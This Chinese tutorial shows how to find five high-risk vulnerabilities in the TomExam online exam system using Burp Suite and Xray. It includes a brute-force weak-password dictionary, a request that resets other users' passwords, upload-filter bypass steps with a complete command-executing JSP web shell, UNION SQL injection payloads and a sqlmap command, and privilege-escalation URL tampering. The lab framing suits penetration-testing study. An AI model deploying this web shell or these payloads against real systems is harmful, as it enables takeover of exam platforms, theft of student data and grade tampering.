☰
实战演练:如何用Burp Suite和Xray快速挖掘TomExam考试系统的5个高危漏洞
2026/11/3 9:40:12 网站建设 项目流程

实战演练:如何用Burp Suite和Xray快速挖掘TomExam考试系统的5个高危漏洞

教育行业的数字化转型正在加速推进,在线考试系统作为核心教学工具,其安全性直接关系到考试公平性和学生隐私保护。TomExam作为国内广泛使用的网络考试平台,其漏洞可能被恶意利用导致严重后果。本文将手把手演示如何通过Burp Suite与Xray的黄金组合,系统性地挖掘这类系统中的高危漏洞。

1. 环境搭建与工具配置

在开始实战之前,需要准备一个与生产环境高度相似的测试靶场。推荐使用JSPStudy集成环境快速部署TomExam系统,该环境已预置MySQL数据库和Tomcat中间件,能模拟真实运行条件。

关键配置步骤:

  1. 下载JSPStudy 2016版本并解压至D盘根目录
  2. 将TomExam的WAR包放置于/tomcat/webapps目录
  3. 修改/mysql/data目录权限为可读写
  4. 启动控制面板中的Apache和MySQL服务

工具链方面,需要特别关注代理工具的联动配置。以下是Burp Suite与Xray协同工作的典型配置:

# Xray config.yaml 关键配置片段 reverse: db_server: enabled: true listen: 127.0.0.1:5000 basic_auth: username: "admin" password: "xray@123"

启动顺序对工具协同至关重要:先启动Xray监听端口,再配置Burp的上游代理。这种架构可以实现请求的自动转发和漏洞的实时检测。

2. 认证体系漏洞挖掘

登录模块往往是系统安全的第一道防线,也是攻击者首要突破点。我们对TomExam的认证流程进行深度测试时,发现了三个典型漏洞链。

弱口令爆破实战:

  1. 拦截登录请求,观察认证参数传递方式
  2. 使用Burp的Intruder模块加载常见教育行业弱口令字典
  3. 设置攻击类型为"Cluster bomb",分别对用户名和密码字段进行组合爆破
  4. 通过响应长度和状态码差异识别成功组合

测试中发现系统存在验证码复用漏洞,同一会话中验证码可重复使用。配合以下字典组合,5分钟内即可破解管理员账户:

用户名类型示例字典
默认管理员admin, administrator, sysadmin
常见弱口令123456, admin123, tomexam@2023

更严重的是,修改密码接口存在水平越权。通过Burp重放测试,普通用户仅修改请求中的userID参数就能重置他人密码:

POST /tomexam/user/changePwd HTTP/1.1 Host: 10.0.0.101:8080 ... {"oldPwd":"123456","newPwd":"Hack@2024","userID":"10086"}

3. 文件上传漏洞利用

考试系统通常需要支持多种格式的附件上传,这往往成为系统沦陷的突破口。TomExam的文件上传模块存在经典的三重安全缺陷:

  1. 前端校验可绕过:删除HTTP请求中的Content-Type字段
  2. 黑名单不全:未过滤.jspx、.jspf等变种后缀
  3. 路径可预测:上传目录采用年/月/日结构且文件名包含时间戳

分步攻击过程:

  1. 使用Burp拦截合法的图片上传请求
  2. 修改文件名后缀为.jsp并插入Webshell代码
  3. 通过Intruder模块爆破文件路径中的时间戳部分
  4. 最终获取可执行权限的shell访问路径

上传成功后,攻击者可以通过以下方式维持访问:

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

4. SQL注入漏洞深度利用

在新闻公告模块,Xray检测到classid参数存在注入点。通过手工验证,确认这是一个典型的Union型注入漏洞。

手工验证步骤:

  1. 测试基础注入:classid=2 and 1=1vsclassid=2 and 1=2
  2. 确定字段数:通过order by递增测试
  3. 获取数据库信息:union select 1,version(),3,4,5,6,7,8
  4. 提取表结构:union select 1,table_name,3,4,5,6,7,8 from information_schema.tables

使用Burp的Repeater模块可以方便地构造和测试各种Payload。更高效的方式是将请求导出到SQLMap进行自动化利用:

sqlmap -r request.txt --batch --dbms=mysql --technique=U --tables

测试结果显示系统存在17个用户表,其中包含敏感的考生信息、试卷内容和成绩数据。这种漏洞可能导致大规模数据泄露,完全违背了教育数据保护的基本要求。

5. 权限体系漏洞链分析

教育系统的多角色特性使得权限管理尤为复杂。TomExam在权限控制方面存在设计缺陷,形成了完整的垂直越权漏洞链。

典型越权场景:

  1. URL直接访问:普通用户通过修改URL中的/student/为/admin/访问管理功能
  2. 参数篡改:修改请求中的roleType参数提升权限等级
  3. 功能滥用:学生账户调用只对教师开放的API接口

通过Burp的"Compare Site maps"功能,可以系统性地对比不同权限账户的访问范围差异。以下是一个实际的越权请求示例:

GET /tomexam/admin/paperList?examId=20240521 HTTP/1.1 Host: 10.0.0.101:8080 Cookie: JSESSIONID=STUDENT_SESSION_123

这种漏洞可能被恶意学生用来提前获取试卷内容或修改考试成绩,严重破坏考试公平性。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询